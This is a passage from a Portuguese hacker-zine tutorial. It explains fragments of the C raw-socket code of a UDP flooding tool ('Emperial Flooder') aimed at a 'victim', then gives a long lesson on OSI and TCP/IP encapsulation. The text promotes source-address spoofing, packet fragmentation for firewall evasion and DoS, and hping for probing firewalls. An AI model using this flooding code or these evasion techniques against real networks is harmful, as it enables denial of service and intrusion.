(Placa de rede) da vitima, recebe o pacote, e passa ele pilha acima ate fazer com que os dados sejam lidos pelo programa em execucao na maquina, como vc pode ver acima. Quando nos enviamos um pacote, esse mesmo pacote vai ser encapsulado, o nome q se da a esse ato eh multiplexacao. P/ maiores informacoes sobre esses termos consulte o texto que escrevi sobre Berkeley Socket em C, a Parte 1 p/ ser mais exato. Para encontra-lo juntamente com a parte II recomendo que voce procure o meu nick no google. Enfim, vamos ao codigo: [1] - memcpy (&pacote, &ip_rlz, sizeof (struct iphdr)); [2] - indice=indice + sizeof (struct iphdr); [3] - memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr)); [4] - indice+= sizeof (udp_rlz); [5] - memcpy (&pacote[indice], msg, strlen (msg)); [6] - indice+= strlen (msg); 1 - Copia para o inicio da variavel "pacote" a estrutura iphdr. 2 - Usa a variavel indice p/ alocar corretamente os dados na variavel pacote. 3 - Aloca os dados da struct udphdr na variavel pacote, depois do header ip 4 - Cria um indice para organizar as coisas 5 - Copia os dados para o final do pacote 6 - Pega o tamanho total do pacote para ser usado no sendto, veja: if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima, sizeof (struct sockaddr_in)) ) == -1){ fprintf (stdout, "%s", strerror (errno)); exit (-1);} Veja o "indice" no terceiro argumento da funcao sendto. Como voces sabem, ele indica a quantidade de bytes que serao enviados atraves do socket, ou seja, o pacote completo. Como voces podem ver estou utilizando a variavel 'indice', como indice d dados copiados p/ a variavel 'pacote', p/ fazer com q os dados sejam copiados exatamente um depois do outro, vale lhes lembrar q dentro do buffer o primeiro dado possui um indice 0 (Claro que vc sabe disso, voce programa em C, certo? Se nao, procurem meus textos sobre C e mais centenas de outros txts por ai e comece a estudar C, agora! Isso eh uma ordem =). Eh a variavel pacote que vai ser enviada e desmultiplexada, e, portanto ela eh o nosso pacote! "Basicamente" eh isso amigo, devemos empacotar os dados na forma inversa da desmultiplexacao. Repare tambem que preencho as respectivas estruturas dos headers utilizados e crio uma funcao que serah chamada um determinado numero de vezes. O numero de vezes que a funcao serah chamada: for (x;x <= atoi (Matrix[6]);x+=1){ send_UDP (); msg_s++;} Funcao que envia dados: void send_UDP (){ .... } Acredito q isso seja facil de ser entendido. O resto do codigo eh o banner e umas outras coisas que, se voce for programador em C, vc vai saber do q se trata. Agora vamos falar do header UDP e seus seguimentos, ei, isso eh meio estranho de dizer, porque sao os se- guimentos que compoem o header. Ei ei ei, mas voce pode interpretar de outra forma, eu adoro a lingua portuguesa... \O/! Cabecalho UDP Defined in: /usr/include/netinet/udp.h struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; ^-----------------------^-----------------------^ | - Porta de origem - | - Porta de destino - | | [source] | [dest] | | [ 16 bits ] | [ 16 bits ] | +-----------------------+-----------------------+ | - Tamanho do header - | - checksum - | | [len] | [check] | | [ 2 bytes ] | [ 2 bytes ] | +-----------------------+-----------------------+ | | | - Dados - | | (Explicacao com relacao ao tamanho adiante) | | | +-----------------------------------------------+ O tamanho aqui funciona normalmente, temos um short ( printf ("%d\n", sizeof (short)); ) que equivale a 2 bytes, para representar a porta, ou seja, o source (origem) equivale a 16 bits. Ja o endereco de host equivale a um unsigned long, 4 bytes, 32 bits, mas falar isso deixa o texto "lame" :P Essa nao eh minha intencao, ateh porque voces nao sao "tao" bgners assim, neh? Acho que voces lembram das aulas de 'Berkeley Socket'. Enfim, o dest (destination) representa a porta d destino. A porta q o programa q vai receber os dados, abriu no computador no outro lado do mundo ;) Ali vc pode ver o seguimento checksum q infelizmente nao vou falar nesta edicao, pois esse assunto merece 1 capitulo soh p/ ele, mas vale lhes lembrar q no header UDP nao se faz necessario a especificacao do mesmo. Se voce for apressadinho (Tem que ser) va la no google e coloque lah a palavra 'checksum' e mande brasa =) Vou logo adiantando q checksum corresponde a um algoritimo q checa a tal "integridade" do cabecalho em questao e seus "dados". Teoricamente o 'campo/seguimento' "dados", que pode "ou nao" conter dados, possui um tamanho limite de 65507 bytes. Ei!! Pra quem nao sacou gostaria d dizer que esse "dados" ai, no caso de um chat por exemplo, nesse caso se o chat for por UDP (Esquisito :P), eh referente as strings (ASCII) q estao sendo "tecladas" (:P). Ateh mesmo pode ser requisicoes de HTTP (Por TCP - next edition ) e tals. Resumindo: O seguimento dados eh o nosso amigo "payload", que eh criado pelas aplicacoes. Vamos voltar ao assunto do tamanaho da area dados no header 'UDP'. Voce vai entender agora: 65507 bytes -- > Dados 8 bytes -- > O resto do header UDP Lembram que um pacote no modelo 'TCP/IP' nao eh composto apenas por um header? Devemos levar em conta tambem o header abaixo, que eh o IP. Que como vimos acima, "normalmente" (Quando opcoes nao sao inclusas no pacote) possui um tamanho igual a 20 bytes. Entao... Nos agora sabemos porque este campo pode conter no maximo 65507 bytes =) Faca as soma!! 65507 + 8 + 20 = 65535 Repare no resultado acima amigo ;] Verah o limite "maximo" (Meio complicado um monstro d 64k andando por ai) de um pacote zanzando na net. Ei ei ei, nao adianta nem lembrar pra voces o esquema de MTU, neh? Vamos agora ver como eh que ta la no Emperial Flooder em sua versao para Unix. struct udphdr udp_rlz; udp_rlz.dest=htons (port_destinO); udp_rlz.source=htons (port_origeM); udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg)); Bem, o dest e source voces ja sabem que equivale a porta de destino e a porta de origem, respectivamente (source significa origem em portuga :P). O len ali eh equivalente ao tal do tamanho do header, ou seja, aqui entra o tamanho do header 'UDP' mais os dados, "se" ouverem dados! Bem, vou ficando por aqui com esse capitulo. Acho q deu p/ vc entender o codigo fonte do Emperial Flooder v2.1 (Packet Crafter!) =7, um pouco de raw socket e um "pouco" dos headers "IP" e "UDP". Na proxima edicao eu vou falar de mais headers, como o TCP e ICMP, e so ai que poderemos comecar a falar de raw socket's "extreme", para o desenvolvimento de ferramentas mais "crueis", como ferramentas emissoras de pacotes ARP (Arp Poisoning), envio d flags especificas (Syn Flood e etc ;) e a tao temida, altamente cruel -> "Fragmentacao de pacotes" }=) Um grande abraco e, a 'C.O.D.E' ainda nao acabou galera, e nao vai acabar tao cedo =7 Continuem lendo =] []`s by 6_Bl4ck9_f0x6 - Viper Corp Group []==xXx========[ ******* ]========xXx==[] Encapsulamento de dados OSI e TCP/IP []==xXx========[ ******* ]========xXx==[] Thanks to: Birkoff, MM, Placker, J.Augusto, BrunoSolar and all guys ISTF! Obrigado especial (Meus maiores incentivos): BSDaemon , VooDoo, ALIG_wicked, Nash Leon, Morticia, Cheat Struck. Obrigado ae por voces existirem...=) =X=======X=======X=======X=======X=======X=======X=======X= -> Vamos clarear as ideias antes de começarmos... OK? <- NESTE TEXTO VENHO TENTAR EXPLICAR DE UMA FORMA "GERAL" O PROCESSO DE ENCAPSULAMENTO USANDO COMO BASE O MODELO OSI, "APLICANDO EXEMPLOS DAS CAMADAS OFERECIDAS PELO MODELO AO PROTOCOLO 'TCP/IP' =)". COMO OS MAIS EXPERIENTES SABEM O PROTOCOLO TCP/IP DISPÕE DE UM MODELO DE 4 CAMADAS APENAS, QUE SÃO: Camadas do modelo TCP/IP * APLICAÇÃO * TRANSPORTE * INTERNET * ACESSO A REDE AS CAMADAS 6 E 5 DO MODELO 'OSI' SÃO INSERIDAS PELAS PROPRIAS APLICAÇÕES DE REDE (camada 7 - OSI) NO TCP/IP, MAS EU CONSEGUI EXPLICAR APLICANDO TODAS AS CAMADAS DO MODELO OSI AO PROTOCOLO TCP/IP =). Como? Simples, eh so pensar que as diferencas impostas por esse bando de doido da CISCO entre os modelos citados E' NA VERDADE FRESCURA!!!! OBS: Alguem da Cisco disse: "Embora algumas das camadas no modelo TCP/IP tenham os mesmos nomes das camadas no modelo OSI, as camadas dos dois modelos não correspondem exatamente. Mais notadamente, a camada de aplicação tem diferentes funcoes em cada modelo." Repare neste trecho: "nao correspondem 'EXATAMENTE'" Esse 'nao exatamente' eh revelador irmão de hacking...:) Isso significa que não são necessariamente iguais por conta de algumas funções que foram englobadas na camada de aplicação no modelo TCP/IP, nada mais. So para confirmar o que estou lhes dizendo: "Os projetistas do TCP/IP decidiram que os protocolos de mais alto nível deviam incluir os detalhes da camada de sessão e de apresentação do OSI. Eles simplesmente criaram uma camada de aplicação que trata de questões de representação, codificação e controle de diálogo." Onde: Representação -> Encapsulamento de payload Codificação -> Aprensentação - OSI Controle de dialogo -> Sessao - OSI Torno a repetir amigo: OS CARAS FALARAM QUE NAO CORRESPONDE EXATAMENE PORQUE NO MODELO TCP/IP SAO AS APLICACOES QUE FAZEM O TRABALHO DAS CAMADAS 6 E 5. Existe também a questão da camada de 'Acesso a rede' no modelo TCP/IP. Vejam o ultimo trecho extraido da documentação oficial para a certificação 'Cisco' que será mostrado neste documento. "O significado do nome da camada de acesso à rede é muito amplo e um pouco confuso. É também conhecida como a camada host-para-rede. Esta camada lida com todos os componentes, tanto físico como lógico, que são necessários para fazer um link físico. Isso inclui os detalhes da tecnologia de redes, inclusive todos os detalhes nas camadas física e de enlace do OSI." Por favor senhores, não deixem de notar neste trecho: "todos os detalhes nas camadas física e de enlace do OSI." Leiam o contexto de onde este trecho foi extraido e verão que a camada de acesso a rede no TCP/IP (Claro, pois não existe essa camada no OSI) ficou encarregada de englobar as camadas de 'Enlace' e 'Física', camadas 2 e 1 respectivamente (numeradas de acordo com outro documento que possuo) pertencentes ao modelo OSI. Tabom, mas porque voce esta dizendo isso? Bem, so estava tentando lhe alertar que eu simplifiquei tudo, deixei o texto bem intuitivo para quem quer estudar para a certificação e acha o material disponibilizado pela cisco um tanto quanto "complexo". =X=======X=======X=======X=======X=======X=======X=======X= Matando dois coelhos com um tiro soh. Conceitos -> "Basicos" <- de encapsulamento Hi! Agora vamos falar de um assunto de extrema importancia para todos aqueles que um dia querem ser chamados de Elit3, vou falar agora do tal encapsulamento de dados. Esse assunto naum eh nenhuma novidade, mas para quem ainda nao sabe recomendo que leia, pois escrevi esse texto para vc's bgner's. Bem, como vc muito provavelmente deve saber, as maquinas na internet se comunicam pelo envio de pacotes de dados, um pacote eh basicamente composto por header e payload, sendo que nos headers é onde estão armazenados diversos tipos de dados, tais como: O endereço do remetente, endereço do host de destino, etc. O payload eh o que existe dentro do pacote, ou seja, todo 'conteudo' (Recheio) eh chamado de payload. Nesse's payloads podem conter shellcodes e tals...:) O que um sniffer faz necessariamente eh exibir o conteudo de um pacote depois de retirar sua "capa" (header) para pegar o payload do pacote e lhe apresentar o mesmo. Basicamente eh isso manoh, mas vamos ir mais alem. Entendendo a pilha do modelo OSI Todo esse processo (Encapsulamento) se da atraves de camadas, essas tais camadas que compoem uma pilha, logo + vc entendera o porque da 'pilha'. Quando um pacote entra no kernel do seu sistema ele vai ser desencapsulado na ordem inversa da que foi encapsulado, achu que uma ilustração seria uma boa agora manoh: Camadas de encapsulamento do modelo OSI --==================-- * 7 * - Aplicação * 6 * - Apresentação * 5 * - Sessão * 4 * - Transporte * 3 * - Rede * 2 * - Enlace * 1 * - Física --==================-- Antes de falarmos sobre cada camada descrita acima, vamos a uma breve introdução ao modelo OSI. O modelo de referencia OSI - Open Systems Interconnection -> Sistemas de interconexão aberta, surgiu com a necessidade do desenvolvimento de um protocolo 'PADRÃO' para comunicação entre redes. O negocio vai ficar mais claro agora manoh, relaxa. Antigamente as redes utilizavam os chamados protocolos específicos ou tecnicamente falando, protocolos proprietarios, que nada mais eram que protocolos utilizados apenas em uma determinada rede e eram pagos. Se um administrador de rede implementase algum protocolo proprietario em sua rede, a comunicação so seria possivel com outras redes rodando sobre o mesmo protocolo. Ao meu ver o mais famoso protocolo proprietario eh o IPX/SPX da Novell, esse protocolo foi desenvolvido para comunicação entre maquinas rodando sobre a plataforma 'Novell Netware'. Antigamente o negocio era tão feio que se alguem comprase um dispositivo de rede (Placa de rede) de uma empresa, ele não poderia utilizar um protocolo de comunicação feito por outra. Vale lembrar para vc's que o modelo OSI não eh de forma alguma um protocolo e sim o "modelo", vejamos um exemplo. Esse modelo que foi desenvolvido pela ISO -> International Organization for Standardization, Organização Internacional para padronização. Veja bem no nome da empresa e tente adivinhar a sua real função, achu que fica + claro a cada minuto ;) A ISO foi fundada em 1947 (Ei! Eu num tinha nem nacido ainda :P) e conta com representantes de mais de 100 paises e é uma empresa que tem como principal meta desenvolver 'padrões' para a 'industria'. Então podemos dizer que essa empresa falou: Gente! Apartir de agora voces vão fazer assim e assado para acabar com essa putaria de protocolo proprietario que prejudica o cliente caso ele tenho gostado de um periferico desenvolvido pela Novell mas quer usar outro protocolo de comunicação que não seja o IPX/SPX. Sigam esse modelo aqui!!! Apartir dai o povo começou a desenvolver protocolos baseado nesse modelo, fim. Bem, não eh tão verdade assim porque ainda existem protocolos que não seguem a risca o modelo, talvez porque alguns foram desenvolvidos antes das especificações do modelo OSI, outros porque os fabricantes simplesmente não tavam afim e outros porque atingem objetivos especificos. Como voce reparou o modelo OSI especifica que o encapsulamento de dados deveria ter por padrão 7 camadas. As coisas eram para acontecer dessa maneira: --------------- * 7 * - Aplicação -> Esta eh a primeira camada, é aqui a camada responsavel por criar o pacote. Diz respeito as aplicações que solicitaram uma conexão. Um bom exemplo de construtores desta camada, são seus browser's, como o firefox, Opera, IE, etc. Quando voce digita uma URL no seu browser e tecla [Enter], automaticamente o browser vai inserir dados (payload) para a conexão com o host remoto dentro de um header, assim criando um "pacote" composto por casca (header) e recheio (payload), depois desta camada, o pacote eh empurrado pilha abaixo e vai passar agora para a proxima camada (Tentem não achar que o pacote vai para a camada de 'Apresentação' 'no TCP/IP', porque no modelo TCP/IP esta camada não passa de uma função, pois foi englobada na camada de aplicação, leia com atenção a proxima camada que garanto que entenderas amigos =). OBS: Para uma melhor compreensão siga as ilustrações. Veja o '=====' como o header do pacote. ============== Payload1/Dados --- > Pacote se formando. ============== --------------- * 6 * - Apresentação -> "Teoricamente" falando esta camada serve para prepar os dados que serão enviados (isso ainda no host local, obvio) convertendo os mesmos em um formato compativel com os procedimentos de transporte. Em muitos livros que ja li os escritores apenas ensinam algumas camadas e pronto, assim discartando algumas outras que podemos chamar de -> Inuteis, mas porque? Porque eles falam de camadas e não de funções das camadas (eheh), porque esta camada no OSI virou função no TCP/IP, ou seja, NA PRATICA a 'Apresentação' ja' eh inserida na aplicação (Estou falando do TCP/IP). Voces se lembram que esta camada transforma os dados que serão enviados em um formato compativel com o procedimento de transporte (Claro voce acabou de ler -.-)? Ta bom, tabom, porque eu perguntei se vc lembra se não faz nem 5 linhas que eu disse isso? Simples, para voce entender melhor =) Use a logica amigo. Se nesta camada (No OSI. Função no TCP/IP) ele converte os dados para que os mesmos sejam compativeis com o processo de "transporte", então quando recebermos o mesmo esta mesma camada vai fazer com que o pacote que foi convertido em um formato compativel com os procedimentos de transporte...:) voute a ser o que ele era antes, pois o pacote ja chegou. Assim ele vai entregar os dados ja' convertidos para a aplicação de rede (OSI), mas como voces sabem ele não vai "entregar" para a camada de aplicação NO TCP/IP, porque no TCP/IP ele vai converter os dados "na" camada de aplicação, lembram que esta função ("No TCP/IP") na pratica ja eh inserida "na" aplicação? Eu sou ou não sou o professor do ano ;) --------------- * 5 * - Sessão -> Camada responsavel por estabelecer uma conexão entre dois hosts. Esta camada tambe'm eh responsavel pelo CONTROLE da comunicação entre as aplicações que estão em execução nas maquinas. No TCP/IP esta camada ja eh inserida nas aplicações de rede. --------------- * 4 * - Transporte -> Nesta camada que definimos como o nosso pacote vai ser 'guiado' pelo protocolo IP (Protocolo responsavel pelo roteamento de pacotes na internet). Uma determinada aplicação (Software's) poderia utilizar o UDP ou poderia utilizar o famoso TCP. Acho que vcs devem saber o que é TCP e UDP, aqui estou falando de encapsulamento... ======= TCP --- > Cabeçalho TCP encapsulando ============== Payload1/Dados ============== ======= --------------- * 3 * - Rede -> Aqui que os sonhos acontecem ^^. Nesta camada que eh inserido ao header TCP ou UDP do pacote, um header com o protocolo IP que vai ser o encarregado de transportar os dados. No modelo TCP/IP esta camada equivale a camada 'Internet'. Lembre-se que podemos forjar o endereço de origem usando crafters...:) ============== IP/Internet Protocol --- > Encapsulando o header IP ao Hd TCP do pacote. ============== TCP ============== Payload1/Dados ============== ============== ============== * 2 * - Enlace -> Camada responsável pela comunicação entre duas interfaces em uma mesma rede. O trabalho de receber e entregar o pacote para uma determinada interface de rede fica com essa camada ;) Cada dispositivo de rede deve inserir o pacote dentro de um quadro, eh este quadro que permite a conexão com o proximo dispositivo da rede conectado diretamente no link. Os dispositivos no caminho (Ateh o destinatario final do pacote) requerem um enquadramento de forma que eles consigam conectar-se nos proximos pontos de pasagem. * 1 * - Física -> Em um modo bem grosseiro de se falar podemos dizer que eh aqui que a porca torce o rabo :P eheh. Diz respeito a parte fisica da rede, quando digo fisica pode pensar em eth0 (Ethernet) e tals. Nesta camada que o dado (QUADRO) que sera enviado, vai ser convertido em bits, o quadro deve ser convertido em um padrão que eh de 1's e 0's (Binarios) e dependendo do meio fisico da rede, os sinais podem ser transmitidos como pulsos eletricos sequenciais (Ethernet), no caso de wireless --> Transmissão de dados via sinais de radio, se for em um meio ótico os dados seguem como sinais luminosos e assim por diante. Seguindo o que foi visto anteriormente podemos dizer então que o processo de encapsulamento ocorre da seguinte forma: ------------------ Segmentar os dados ------------------ | ------------------ Enpacotar para transporte. ------------------ | ------------------ Endereçamento (IP) Add End de rede ao header. ------------------ | ------------------ Camada de enlace ------------------ | ------------------ Converter dados em bits. ------------------ Leitura do pacote na maquina destino Quando um pacote bate na placa de rede do host remoto, acontece o processo inverso do encapsulamento, ou seja, os modulos retiram os headers e empurram o pacote pilha acima ate fazer com que o payload seja lido por uma determinada aplicação rodando na maquina. Alguns Terminhos Aproveitando gostaria de falar sobre uns termos importantes de voce saber, parece algo hardcore underground mas naum eh, sao termos que apesar de parecerem coisas de outro mundo são bem simples de se absorver. Exemplo: Quando a comunicação entre dois hosts eh dada atravez de uma rede Ethernet, o nome do pacote vai se chamar 'Frame Ethernet'. Quando a camada de transporte diz que o pacote vai ser enviado se utilizando de UDP ai chamamos o pacote de datagrama, eh uma confusão só. O povo poderia chamar de pacote tudo que andase por ai ehehe. Ah! Quando emitimos um pacote... ou datagrama, sendo um Frame Ethernet (ehehe) ou não, todas as maquinas por onde esse pacote chegar a passar até alcançar seu destino final vão ser chamadas de ponto de passagem, ponto =). Se aprofundando mais nos terminhos Drive de dispositivo -> Software que se comunica diretamente com a interface de rede (por exemplo). Nossa, quanta coisa vaga, estou me sentindo mal, serio mesmo... Vamos lá, nao vou deixar de passar informação por preguiça. ================== Drive -> O termo Drive, ou como os caras falam em portugal -> acionador <-, podem ser usados para se referir a dispositivos[oO] como CD-ROM, etc. Drives nada mais são que mecanismos que permitem a leitura de determinadas midias (por exemplo), exemplo: Um drive de disquete eh um mecanismo que pode fazer leitura de um disco magnetico (disquete), entendeu? Podemos chamar inclusive HD's de drives, olha que legal, vai dizer que voce sabia? ehhe Eh mais chiqui falar -> Meu acionador de DVD e tals ehehe <- (para se referir a os mecanismos (drivers) capazes de fazer leitura de DVD's). oO -> Podemos dizer que dispositivo eh a mesma coisa que periferico, não amigo, nao estou me refirindo as periferias de Recife ou algo do tipo heheh, periferico eh tudo que voce conecta no computador, como placas de rede que passarão a ser chamadas de interface de rede (iface) após a sua inserção na placa mãe. Impresoras são perifericos e muitas outras coisas, esse termo eh usado para se referir a qualquer coisa que voce compra e que pode ser inserido -> posteriormente <-, isso fazia mais sentido nos tempos antigos da computação e tals, pq naquele tempo ja vinha tudo pronto e o cara ficava só brincando de inserir coisas, mas como hoje em dia tudo pode ser comprado separadamente o termo periferico passou a ser utilizado para se referir a tudo que não seja 'Placa mãe', 'Processador' e 'Memoria'. Ja os dispositivos são a mesma coisa, tipo, dispositivo eh tudo que voce de certa forma pluga no PC, exemplo: a placa mãe eh um dispositivo, o mouse eh um dispositivo e etc. Diferenciamos dispositivos de entrada e de saida ou ambos julgando o que eles fazem. O teclado eh um dispositivo de entrada, o monitor eh um dispositivo de saida, o router eh um dispositivo de rede (dã) e por ao vai. ================== Drive de dispositivo -> Drivers de dispositivo são os "programas" que se comunicam com a parte fisica no seu sistema, vai dizer que vc nunca precisou dos drives da sua placa para rodar aquela musica e tals? Todo dispositivo tem que ter alguma coisa que faça ele funcionar, para isso surgiram os...drives de dispositivo!! ehhe Esses tais drives trabalham sobre o kernel do OS (Operational System) servindo como tradutores, assim permitindo uma comunição entre o periferico e o sistema operacional. ================== Recaptulando: Frame Ethernet eh o nome dado a todo 'dado' (eheh) que viaja pela internet por meio de uma rede Ethernet (eth0 e tals). xxxxxxxxxxxxxxxxx + DATAGRAMA + xxxxxxxxxxxxxxxxx ============== IP/Internet Protocol ============== UDP ============== ============== Na verdade (TECNICAMENTE falando!) um datagrama eh a união do modulo[oO] IP ao header (Também modulo =) UDP (que por sua vez foi inserido na camada de transporte da pilha, no processo de encapsulamento =) do pacote. oO Modulo -> Modulo nada mais eh que um software que se comunica diretamente com o drive de dispositivo (da interface de rede) que age no kernel traduzindo instruções do periferico para o OS, lembram? O modulo também se comunica com aplicativos de rede e outros modulos. Podemos dizer então que o que faz as coisas acontecerem no encapsulamento de dados são os tais modulos, siga a minha linha de raciocinio: ===================== Modulo IP ================= Modulo TCP ou UDP ================= ===================== Vamos misturar as coisas? Basicamente o modulo (software) se comunica com outro modulo e diz que os dados apartir dali vao ser 'guiados' por UDP, o modulo abaixo não quer saber o que aconteceu anteriormente com o pacote, ele apenas inseri o cabeçalho IP no pacote. Voces se lembram que um modulo eh capaz de se comunicar com outro e ainda consegue se comunicar com os drives de dispositivo? Aham! Voces estaum entendendo, isso mesmo que voce esta pensando, um modulo ( Aplicação ) diz para outro modulo ( Transporte ) que diz pro outro ( Internet ) que por sua vez vai se comunicar nao com outro modulo, mas sim com o drive de dispositivo que como todos sabemos -> Comanda o dispositivo <-... Placa de rede. Esse ultimo processo (Comunicação entre modulo e drive de dispositivo) ocorre entre a camada de Rede e a camada de enlace, que eh a camada responsavel por entregar os pacotes as interfaces da vida...^^ Então podemos dizer que os drives ficam nesta camada (Enlace =). Aposto que ficou confuso porque eu misturei nomes de camadas dos dois modelos, mas agora que voce realmente vai entender, não precisa ficar confuso porque eh "exatamente" isso que ocorre. O processo acima eh o processo padrão para ambos os modelos. A unica diferença eh que no TCP/IP algumas camadas do modelo OSI foram transformadas em funções, assim reduzindo o modelo a apenas 4 camadas, ou seja, onde eu disse camada de 'Rede' - OSI, nada mais seria do que a camada 'Internet' e para representar a camada de 'Enlace' bastaria eu dizer apenas 'Acesso a rede'. Siga minha linha de raciocinio companheiro.... OBS: Para uma melhor visualização da ilustração abaixo utilize algum Browser e visualize com tamanho de texto 'Normal'. OSI TCP/IP ------------------------------------------------------------- - Aplicação - Aplicação Criação de payload Criação de payload, conversão, controle de comunicação. ------------------------------------------------------------- | | ------------------------------------------------------------- - Apresentação - Transporte Conversão para TCP ou UDP transporte do dado ------------------------------------------------------------- | | ------------------------------------------------------------- - Sessão - Internet Estabelecimento Add Header IP de conexão e controle d comun icação. ------------------------------------------------------------- | | ------------------------------------------------------------- - Transporte - Acesso a rede TCP ou UDP Drive de dispositivo. Conversão de quadro e envio de dados. ------------------------------------------------------------- | | ------------------------------------------------------------- - Rede Add Header IP ------------------ | ------------------ - Enlace Drive de dispositi vo. ------------------ | ------------------ - Física Exemplo: Eth0. Conversão de quadro e envio d dados. ------------------ Viram? Eh a mesma coisa! Soh que no modelo TCP/IP as coisas foram englobadas. Os drivers de dispositivos dizem para a camada fisica da pilha (interface de rede) chutar a bunda do pacote (rsrs). Apartir dai o pacote ou datagrama ou segmento TCP que pode estar ou nao sendo trafegado como um Frame Ethernet, eh enviado... Ufa! xxxxxxxxxxxxxxxxx + Segmento TCP + xxxxxxxxxxxxxxxxx ============== IP/Internet Protocol =============== TCP =============== ============== Se os dados que serão enviados pela internet afora foram encapsulados de maneira que a camada 'Internet' - TCP/IP (Rede - OSI) inseriu o cabeçalho IP sobre o header -> "TCP" <- (camada de 'Transporte'), então podemos dizer que este dado eh um Segmento TCP que pode ou não ser transportado como um Frame Ethernet...:) Mais uma ilustração para concretizar tudo. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Recepção do pacote no nost remoto xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Vejam essa ilustraçao: ------------------------- Aplicações de rede Payload/Dados ------------------------- Modulo TCP - UDP ------------------------- ------------------------- > ARP - Addres Resolution Protocol Modulo IP ------------------------- Interface de rede ------------------------- OBS: POR HORA VAMOS FINGIR QUE O PROTOCOLO ARP NÃO EXISTE, PARA NÃO RETIRAR O FOCU PRINCIPAL DESTE DOCUMENTO. Nao se esqueçam que os modulos também se comunicam com aplicativos de rede, que nada mais são que programas que fazem as requisições de conexão, como browsers, clientes de FTP, POP, clientes de trojans, etc....:) Lembrando que as aplicações não apenas fazem requisições, também ficam esperando as tais...Sacou? =) Os aplicativos de rede se comunicam com os modulos apenas para lhes entregar as requisições ou para receber as requisições que são trazidas pelos modulos no caso do recebimento. O transporte de dados funciona de maneira linda, como uma mae entregando seu filho nos braços de uma segunda mãe logo apos beija-lo, deixando uma marca que será vista e entendia pela proxima mae até que a criança chegue ao seu destino. Esse processo maravilha qualquer seguidor da mãe Internet, 'Hacker'.... Underground claro :) O modulo que eh mais conhecido dos aplicativos de rede obviamente que eh o modulo de transporte para quem envia e para quem tem uma aplicação esperando do outro lado, pois eh a camada mais proxima das aplicações de rede -> No protocolo TCP/IP...:) Xauzin. Aham!!!! Acharam que eu ia deixar voces com um conhecimento tão fraquinho como esse? Hum... O que voces pensam que eu sou? Um kiddie? Vamos proceguir mais um pouquinho, pois quero aproveitar a deixa para lhes alertar sobre um perigo muito grande e que ninguem "ou quase ninguem" consegue ver. O perigo mora ao lado... ninguem consegue ver. Como todos sabemos não existe apenas um protocolo de rede, ou seja, nem sempre em uma rede apenas quem fala eh soh o Joãozinho ou apenas a Maria, para as maquinas não ficarem birutas elas precisam saber que tipo de protocolo aquele determinado dado utiliza, então podemos julgar que eh importante no encaspulamento de dados a inserção de um indentificador de protocolo, para as maquinas receptoras saberem em que time aquele dado joga. Um pacote eh trasmitido em forma de bits, ou seja, o nó[oO] de rede chuta o pacote e apartir dai o mesmo vai ser transmitido pelo cabo de rede como pulsos eletricos sequenciais, blá blá blá, blá blá, etc. Agora o negocio vai ficar + claro. oO -> Podemos chamar de nó de rede qualquer dispositivo conectado em alguma rede que possua um endereço proprio para a identificação do mesmo nesta rede. Mais sobre pacotes Ja sabemos que "um dos MUITOS" dados que um pacote precisa para trafegar na rede eh o ID de protocolo, para ajudar na "desmultiplexacao" na maquina receptora. Além do ID (ou PID) do pacote, devemos dizer quantos bits nosso amigo vai ter em cada "seção". Vamos dizer que meu pocote imaginario disponibiliza um ID de 16 bits =)... Ei, como a maquina receptora vai saber quem enviou o pacote? Como o pacote vai saber onde ele tem que ir? Ae que está meu fio, ja temos então 3 seções que são: ID do protocolo | Endereço de origem | Endereço de destino As duas ultimas com 32 bits cada (....:). Voces se lembram em qual camada os campos: -> Endereço de origem <- e -> Endereço de destino <- são inseridas ao header anterior? Se voce respondeu -> Rede <-, ganhou um beijinho (Que baitolagem :P). Mas porque? Voces lembram que o protocolo IP eh responsavel por rotear os pacotes na internet? Acho que voces lembram que ele eh enserido ao header TCP ou UDP do pacote na camada de 'Internet' (Rede), no cabeçalho IP que estão contidas as informações de endereço de origem e de destino (Essas duas seções de 32 bits cada -> no nosso exemplo ^^). Nosso pacote tem um id de 16 bits + 32 para endereço de origem e + 32 para endereço de destino = 80. Vamos somar esses 80 bits com o payload que vamos dizer aqui que tenha 60 bits, isso eh igual a 140 bits. Agora vamos somar esses 140 bits a um terminador que eh usado para marcar um fim de uma mensagem, esse terminador deve ser a ultima coisa da mensagem, em todos os protocolos esse terminador existe. Então vamos dizer que ele possui 1 byte (...:). ID -> 16 bits. End origem -> 32 bits. End destino -> 32 bits. Payload -> 60 bits. Terminador -> 1 byte = 8 bits. Total: 148 bits. Voce deve estar se perguntando porque eu to contando essa joça direto. Bem, existe um troço chamado MTU - Maximum Transmission Unit, ou, Unidade de Transmissão Maxima, o que esse troço faz eh basicamente definir uma unidade de transmissão maxima (Olha que original) da rede, caso o pacote ("unidade") enviado por nos tendo como destino a rede alvo, for maior que a unidade de transmissão maxima (...:) pemitida pela rede alvo, então ocorre ai a tal da fragmentação, q faz com que o pacote seje fragmentado (dã). Aqui está onde queria chegar moçada!! Alguns firewalls são falhos quando alguem que eh profissional sabe lidar com fragmentação, ou seja, -> Fear me <-. Com essa técnica voce pode fazer muitas coisas amigo. Para quem domina a fragmentação o uso mais comum da mesma sem duvida nenhuma eh o famoso DoS, bem, julgando pelos membros do grupo no qual tenho o prazer de -> chefiar <- :-) Importante - Ferramenta excelente Existe uma ferramenta que eu minha mais que sincera opinião, eh a melhor ferramenta para se determinar regras de filtragens de firewalls, com esta ferramenta e o bendito conhecimento da tal fragmentação, nos podemos determinar regras de qualquer firewall do planeta terra. Esta ferramenta se chama -> Hping. Sem duvida amigo, vale muito vc aprender mais sobre esta ferramenta (Juntamente com a tecnica de fragmentaçao). Brevemente estarei escrevendo para o ISTF uma super materia de fragmentação, não percam... Por hora tentem buscar informações avançadas sobre esse assunto na internet a fora, pois aqui o que ta rolando eh o encapsulamento ;) So quiz abrir os olhos de vcs e de certa forma nao disvirtuei a proposta original deste paper. Nossa, cancei, mas estou com a alma lavada porque acho que fiz voce pensar sobre essa historia de fragmentação de pacote (Estude amigo!! Essa técnica vale!!). Existem muito mais coisas, soh deus sabe o que um programador de raw socket sofre, por isso vamos continuar falando sobre o "Basico" (so pra variar) depois. Lembre-se: Elit3 sempre procura saber "todos os detalhes" 'de tudo' [-.0] by 6_Bl4ck9_f0x6 - Viper Corp Group 